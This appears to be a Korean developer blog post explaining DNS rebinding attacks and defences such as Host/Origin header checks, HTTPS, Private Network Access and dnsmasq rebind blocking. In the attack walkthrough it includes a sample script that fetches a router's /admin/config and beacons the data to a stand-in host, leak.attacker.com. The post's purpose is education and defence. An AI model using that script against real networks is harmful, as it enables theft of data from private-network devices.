DNS 리바인딩(DNS Rebinding) 공격과 방어

DNS 리바인딩(DNS Rebinding) 공격과 방어

집에 있는 공유기 관리자 페이지(192.168.0.1)에 로그인해 본 적 있으시죠? 보통은 같은 와이파이에 연결된 기기에서만 접근할 수 있으니까 비밀번호를 admin/admin으로 그대로 두는 분들도 적지 않을 텐데요. 그런데 만약 인터넷 어딘가의 평범해 보이는 광고 배너 한 번 클릭한 것만으로 그 공유기에 누군가 마음대로 들어올 수 있다면 어떨까요? 😱

말도 안 되는 소리 같지만 실제로 이런 일을 가능하게 만드는 공격 기법이 있습니다. 바로 DNS 리바인딩(DNS Rebinding)인데요. 동일 출처 정책이 있으니까 외부 사이트가 내 사설 IP에 함부로 접근할 수 없을 거라는 우리의 믿음을 정면으로 깨버리는 공격입니다.

이번 포스팅에서는 DNS 리바인딩이 무엇인지, 어떤 원리로 브라우저의 보안 모델을 우회하는지, 실제로 어떤 사례가 있었는지, 우리가 만드는 서비스는 어떻게 지킬 수 있는지 차근차근 살펴보겠습니다.

DNS 리바인딩이란

DNS 리바인딩은 공격자가 자신이 소유한 도메인의 DNS 응답을 조작해서, 피해자의 브라우저가 처음에는 공격자 서버에 접속했다가 잠시 후에는 피해자 내부망의 다른 IP로 접속하도록 유도하는 공격입니다.

핵심은 두 가지인데요. 하나는 공격자가 자신의 권한으로 마음대로 응답을 바꿀 수 있는 DNS 서버를 운영한다는 점이고, 다른 하나는 브라우저가 출처(origin)를 IP 주소가 아니라 도메인 이름으로 식별한다는 점입니다.

브라우저는 evil.com이라는 도메인에서 받은 자바스크립트가 같은 evil.com으로 요청을 보내면 동일 출처라고 판단합니다. 처음 접속할 때 evil.com203.0.113.10이었든, 1분 뒤에 192.168.0.1로 바뀌었든 브라우저는 신경 쓰지 않습니다. 어차피 도메인이 같으니까요. 바로 이 빈틈을 악용하는 공격이 DNS 리바인딩입니다.

동일 출처 정책의 사각지대

DNS 리바인딩이 왜 위협적인지 이해하려면 동일 출처 정책이 어디까지 보호해 주는지부터 짚어볼 필요가 있습니다.

브라우저는 자바스크립트가 다른 출처의 리소스에 임의로 접근하지 못하도록 막는데요. 여기서 출처는 프로토콜(https), 도메인(example.com), 포트(443) 세 가지로 정의됩니다. 세 가지가 모두 같으면 같은 출처고, 하나라도 다르면 다른 출처입니다.

문제는 이 정의에 IP 주소가 들어가 있지 않다는 점이에요. 브라우저가 bank.com198.51.100.5로 해석된다는 사실을 알고 있어도, 동일 출처를 판단할 때는 IP가 아니라 bank.com이라는 문자열만 비교합니다.

여기에 더해 DNS에는 TTL(Time To Live)이라는 개념이 있습니다. DNS 레코드에는 응답을 얼마나 캐시해도 되는지를 나타내는 TTL 값이 붙어 있는데요. 보통 수 시간에서 하루 정도로 설정하지만, 기술적으로는 1초 같은 아주 짧은 값도 가능합니다.

공격자는 자신의 도메인에 의도적으로 짧은 TTL을 설정해 두고, 첫 번째 응답에서는 자기 서버 IP를 돌려준 다음, 두 번째 응답에서는 피해자 내부망의 IP를 돌려주는 식으로 응답을 조작합니다. 브라우저 입장에서는 도메인이 같으니까 동일 출처 안에서 일어나는 통신처럼 보이지만, 실제 도착하는 곳은 완전히 다른 서버가 되는 거죠.

공격이 어떻게 동작하는지 따라가 보기

말로만 들으면 추상적이니 단계별 시나리오로 그려보겠습니다.

피해자가 attacker.com이라는 사이트에 접속했다고 해보죠. 공격자는 사전에 자신의 권한 DNS 서버에서 attacker.com의 A 레코드 TTL을 5초처럼 짧게 설정해 둡니다.

1단계: 첫 번째 DNS 조회
Q: attacker.com 의 IP는?
A: 203.0.113.10 (TTL=5)

브라우저가 받은 IP는 공격자 서버의 공인 IP입니다. 이 서버는 평범하게 HTML과 자바스크립트를 응답하는데요. 스크립트는 대략 이런 일을 합니다.

공격자가 심어둔 스크립트
async function attack() {
  // 5초 이상 기다려서 DNS 캐시가 만료되도록 유도
  await new Promise((resolve) => setTimeout(resolve, 10_000));

  // 동일 출처에 요청을 보내는 평범한 fetch 호출
  const response = await fetch("/admin/config");
  const data = await response.text();

  // 가져온 정보를 다시 공격자 서버로 유출
  navigator.sendBeacon("https://leak.attacker.com", data);
}

attack();

스크립트가 실행되는 동안 공격자는 자신의 DNS 서버에서 attacker.com의 응답을 살짝 바꿉니다.

2단계: TTL 만료 후 두 번째 DNS 조회
Q: attacker.com 의 IP는?
A: 192.168.0.1 (TTL=5)

이 시점에서 자바스크립트가 fetch("/admin/config")를 호출하면 어떤 일이 벌어질까요? 브라우저는 attacker.com의 IP를 다시 조회하고, 이번에는 피해자 와이파이 공유기 주소인 192.168.0.1을 받게 됩니다. 요청은 공유기 관리자 페이지로 날아가고, 응답은 다시 attacker.com 출처의 자바스크립트로 그대로 전달됩니다.

브라우저의 동일 출처 정책 입장에서는 아무 문제가 없습니다. attacker.com에서 시작된 요청이 attacker.com으로 돌아왔으니까요. 하지만 실질적으로는 외부 사이트의 자바스크립트가 내부망 기기의 응답을 자유롭게 읽어가는 상황이 만들어진 거죠.

왜 그렇게 위험할까

DNS 리바인딩이 무서운 이유는 인터넷에 직접 노출된 서버가 아니라, 보통은 안전하다고 가정되는 사설망 안의 서비스를 노린다는 데 있습니다.

집이나 회사 네트워크 안에는 외부에서 접근할 수 없으니까 인증을 느슨하게 걸어둔 서비스가 의외로 많은데요. 공유기 관리자 페이지, 프린터 웹 인터페이스, NAS, 미디어 서버, 개발용으로 띄워둔 로컬 백엔드, Kubernetes 대시보드, 데이터베이스 어드민 도구처럼 다양합니다.

공격자가 노릴 수 있는 IP 대역도 명확합니다. RFC 1918에서 정의한 사설 IP 대역10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16이 대표적이고, 루프백 대역인 127.0.0.0/8도 단골 표적입니다. 특히 127.0.0.1은 개발자가 로컬에서 띄운 서비스가 가장 많이 살고 있는 주소죠.

피해자가 인터넷 어딘가에서 광고 한 번 클릭하거나, 평범해 보이는 페이지를 잠깐 열어두기만 해도 공격이 성립할 수 있습니다. 그동안 동일 출처 정책이 막아주리라 믿었던 “외부에서 내부로의 접근”이 사실은 뚫려 있었던 셈이에요.

실제로 있었던 사례

DNS 리바인딩은 학계에서만 다뤄지는 이론적인 공격이 아니라 실제 상용 제품에서 반복적으로 발견되어 온 취약점입니다.

2018년 보안 연구자 Brannon Dorsey가 가정용 IoT 기기 다수에서 DNS 리바인딩 취약점을 발견해 화제가 됐습니다. 구글 홈, 로쿠, 소노스 같은 인기 제품에서 외부 사이트가 내부망 기기를 제어하거나 정보를 빼낼 수 있는 길이 열려 있었어요.

비슷한 시기에 미디어 서버 Plex, 토렌트 클라이언트 Transmission, 그리고 이더리움 지갑인 Geth와 Parity에서도 DNS 리바인딩 취약점이 보고되어 패치되었습니다. 특히 암호화폐 지갑은 단순한 정보 유출을 넘어 자산 탈취까지 이어질 수 있어서 충격이 컸죠.

Kubernetes 대시보드, etcd 같은 인프라 도구에서도 비슷한 이슈가 있었습니다. 개발자가 “내 컴퓨터에서만 띄우는 거니까 괜찮겠지”라고 생각하고 인증 없이 127.0.0.1에 노출시킨 서비스가 외부 사이트를 통해 조작되는 사례가 종종 발견됐습니다.

Host 헤더 검증으로 막기

DNS 리바인딩의 표적은 결국 피해자 내부망에서 돌고 있는 서비스입니다. 공유기 펌웨어, 로컬에 띄운 개발 서버, Plex나 Kubernetes 대시보드처럼 평소엔 외부에서 접근할 수 없다고 가정하는 서비스들이죠. 따라서 가장 확실한 방어는 그런 로컬 서비스를 만드는 쪽에서 Host 헤더를 검증하는 것입니다.

DNS 리바인딩 공격에서 브라우저가 보내는 요청은 도메인이 attacker.com이지만 실제로는 내부 IP로 도착하는데요. 이때 HTTP 요청의 Host 헤더에는 브라우저가 인식하는 도메인 이름인 attacker.com이 그대로 담겨 있습니다.

공유기 입장에서 보면 자기가 정상적으로 응답해야 할 호스트는 192.168.0.1이나 router.local인데 Host 헤더에 attacker.com이라는 엉뚱한 값이 들어와 있는 셈이에요. 이걸 신호로 삼아 요청 자체를 거부하거나 400 응답을 돌려주면 공격을 차단할 수 있습니다.

Django는 처음부터 이런 보호 장치를 기본으로 제공합니다.

settings.py
ALLOWED_HOSTS = ["192.168.0.1", "router.local"]

ALLOWED_HOSTS에 등록되지 않은 호스트로 들어온 요청은 Django가 자동으로 차단합니다.

Express에서는 직접 미들웨어로 검사하면 됩니다.

express-host-check.js
const ALLOWED_HOSTS = new Set(["192.168.0.1", "router.local"]);

app.use((req, res, next) => {
  const host = req.headers.host?.split(":")[0];
  if (!host || !ALLOWED_HOSTS.has(host)) {
    return res.status(400).send("Bad Host");
  }
  next();
});

Go의 net/http에서도 비슷하게 처리할 수 있고, 핵심 아이디어는 모두 같습니다. “내가 서비스할 호스트 이름을 명시하고, 그 외에는 거부한다”라는 원칙이에요.

여기서 한 가지 짚고 넘어갈 부분이 있는데요. 프레임워크가 이런 검증 장치를 기본으로 제공한다고 해서 자동으로 안전해지는 건 아닙니다. 결국 로컬에서 서비스를 개발하는 사람이 그 장치를 켜놓고, 허용할 호스트 목록을 자기 환경에 맞게 채워 넣어야 동작하거든요. “개발용이니까 일단 와일드카드(*)로 열어두고 나중에 닫자”라거나 “어차피 내 컴퓨터에서만 도는 건데 뭘”이라고 넘어가는 순간 그대로 구멍이 됩니다.

실제로 앞서 언급한 Plex, Transmission 사례 대부분도 프레임워크 부재가 아니라 개발자가 호스트 검증을 빼먹어서 발생한 취약점이었어요. 그러니 사내용 도구나 개인 프로젝트라도 외부에서 브라우저로 접근할 가능성이 있다면 처음 띄울 때부터 호스트 검증을 거는 습관을 들이는 게 좋습니다.

로컬 서버라면 Origin 헤더가 더 자연스럽다

지금까지 이야기한 Host 검증은 가상 호스팅을 하는 일반 웹 서버에 잘 맞는 방식인데요. 로컬에서만 도는 서버라면 Origin 헤더를 검증하는 쪽이 오히려 더 깔끔하고 안전합니다.

이유는 두 가지예요. 첫째, 로컬 서버는 정상 접근에서도 localhost, 127.0.0.1, [::1], 머신 이름처럼 여러 별칭으로 들어옵니다. Host 화이트리스트를 만들려면 이 별칭을 모두 챙겨야 하는데, 빠뜨리면 정상 접근이 깨지고 너무 느슨하게 풀면 검증의 의미가 약해집니다.

둘째, DNS 리바인딩 공격은 본질적으로 “악성 웹페이지가 브라우저를 통해 로컬 서버를 두드리는” 형태입니다. 브라우저는 이런 cross-origin 요청에 Origin 헤더를 자동으로 붙이고, 자바스크립트로는 이 값을 위조할 수 없거든요. 즉 외부 도메인의 Origin이 들어왔다는 사실 자체가 공격의 흔적이 됩니다.

데스크톱 앱이나 CLI 같은 정상적인 비-브라우저 클라이언트는 보통 Origin을 안 붙이거나 정해진 값을 붙입니다. 그러니 “Origin이 있는데 내가 허용한 값이 아니면 거부”라는 단순한 룰만으로 공격을 깔끔하게 차단할 수 있어요.

HTTPS와 인증서 검증

서버 측에서 또 하나 의지할 수 있는 게 HTTPS입니다. HTTPS는 통신을 암호화하는 동시에, 서버가 정말로 자기가 주장하는 도메인의 주인인지를 인증서로 증명하게 만드는 프로토콜인데요.

DNS 리바인딩 공격에서 두 번째 응답으로 IP가 192.168.0.1로 바뀌었다고 생각해 봅시다. 브라우저는 https://attacker.com으로 접속하려고 하는데, 도착한 서버는 공유기죠. 공유기에는 attacker.com에 대한 유효한 인증서가 있을 리가 없으니 TLS 핸드셰이크 단계에서 바로 실패합니다.

물론 사설망 기기들은 대부분 HTTP만 지원하거나 자체 서명 인증서를 쓰는 경우가 많아서 이 방어가 항상 통하지는 않습니다. 하지만 적어도 외부에 노출된 API 서버나 어드민 도구라면 HTTPS를 강제하는 것만으로도 DNS 리바인딩에 대한 저항력이 크게 올라갑니다.

내부 도구에 자체 서명 인증서를 적용하는 것도 한 방법인데요. 브라우저가 인증서 경고를 띄우긴 하지만, 사용자가 한 번 신뢰한 인증서는 도메인과 묶여 있기 때문에 공격자 도메인으로는 통하지 않습니다.

브라우저 차원의 방어: Private Network Access

브라우저 자체가 사설망 접근을 통제하려는 움직임도 있습니다. W3C에서 표준화 작업 중인 Private Network Access(PNA) 명세인데요.

PNA의 기본 아이디어는 출처를 공인망(public), 사설망(private), 로컬(local) 세 단계로 나누고, 더 공개된 출처에서 더 사적인 출처로 가는 요청에 대해서는 별도의 사전 승인(preflight)을 요구하는 것입니다.

쉽게 말하면 인터넷에 노출된 attacker.com192.168.0.1로 요청을 보내려고 할 때, 브라우저가 먼저 OPTIONS 요청을 띄워서 “이 요청을 받아도 되겠냐?”를 확인합니다. 이때 사설망 쪽 서버가 Access-Control-Allow-Private-Network: true 같은 헤더를 명시적으로 응답해야만 본 요청이 진행됩니다.

Chromium 기반 브라우저에서 단계적으로 적용되어 왔고, 아직 모든 브라우저에서 완전히 활성화된 상태는 아닙니다. 하지만 표준이 자리 잡으면 DNS 리바인딩의 상당 부분이 브라우저 차원에서 막히게 될 거예요.

DNS 리졸버에서 차단하기

DNS 응답이 시작되는 길목에서 막는 방법도 있습니다. 공인 도메인이 사설 IP 대역으로 응답을 돌려주는 건 거의 항상 비정상이거든요.

홈 네트워크용 DNS 서버로 많이 쓰이는 dnsmasq에는 --stop-dns-rebind 옵션이 있습니다.

dnsmasq --stop-dns-rebind --rebind-localhost-ok

이 옵션을 켜면 외부 도메인의 DNS 응답에 사설 IP 대역(10/8, 172.16/12, 192.168/16, 127/8 등)이 들어 있을 경우 응답 자체를 버립니다. 공격자가 아무리 자기 도메인을 192.168.0.1로 가리키게 해도 DNS 단계에서 막혀버리는 거죠.

대부분의 가정용 공유기 펌웨어와 일부 ISP DNS도 이런 보호 기능을 내장하고 있습니다. 물론 기기마다 활성화 여부가 다르고, 공격자가 사설 대역이 아닌 다른 IP를 활용하는 경우에는 우회할 수도 있어서 완전한 해결책은 아닙니다.

인증을 절대 생략하지 않기

사실 가장 단순한 방어는 모든 서비스에 제대로 된 인증을 거는 것입니다.

“로컬에서만 띄우는 개발 서버니까 괜찮겠지”라는 가정을 깨는 게 DNS 리바인딩의 본질이거든요. 어떤 클라이언트에서 요청이 들어오든 인증되지 않은 요청은 거부해야 합니다.

API 키 검사, 세션 쿠키 검증, 또는 CSRF 토큰처럼 요청마다 비밀값을 확인하는 장치를 두는 것이 좋습니다. 특히 쿠키 기반 인증을 쓴다면 SameSite=Strict 또는 SameSite=Lax 속성을 함께 적용해서 외부 출처에서 쿠키가 자동으로 붙는 일을 막아야 합니다.

DNS 리바인딩으로 만들어지는 요청은 결국 공격자 출처의 자바스크립트가 보낸 것인데요. SameSite 쿠키가 제대로 설정되어 있으면 내 세션 쿠키가 그 요청에 붙지 않으니, 공격자가 인증 정보를 탈취하더라도 인증된 사용자처럼 행세할 수가 없습니다.

마치며

DNS 리바인딩은 출처가 도메인 이름으로 식별된다는 동일 출처 정책의 기본 가정을 뒤집어버리는 영리한 공격입니다. 인터넷의 평범한 페이지 하나가 내 사설망 기기를 조작할 수 있는 통로가 될 수 있다는 사실은, 처음 들으면 꽤 충격적이죠.

그래도 방어 수단은 명확합니다. 서버에서 Host 헤더를 검증하고, 가능하면 HTTPS를 강제하고, 모든 서비스에 제대로 된 인증을 걸어두는 것입니다. 그리고 어떤 환경에서도 “내부망이니까 안전하다”라는 가정에 의존하지 않는 습관이 가장 큰 도움이 됩니다.

웹 보안에 더 관심이 있으시다면 CSRF 공격과 방어, Host와 Origin 헤더의 차이 글도 함께 읽어보시면 큰 그림을 잡는 데 도움이 될 거예요.

DNS 리바인딩의 원리와 실제 사례, 방어 기법은 OWASP의 DNS Rebinding 문서에 잘 정리되어 있으니 더 깊이 공부하고 싶으시다면 참고해 보세요.

This work is licensed under CC BY 4.0 CC BY

개발자를 위한 뉴스레터

달레가 정리한 AI 개발 트렌드와 직접 만든 콘텐츠를 전해드립니다.

Discord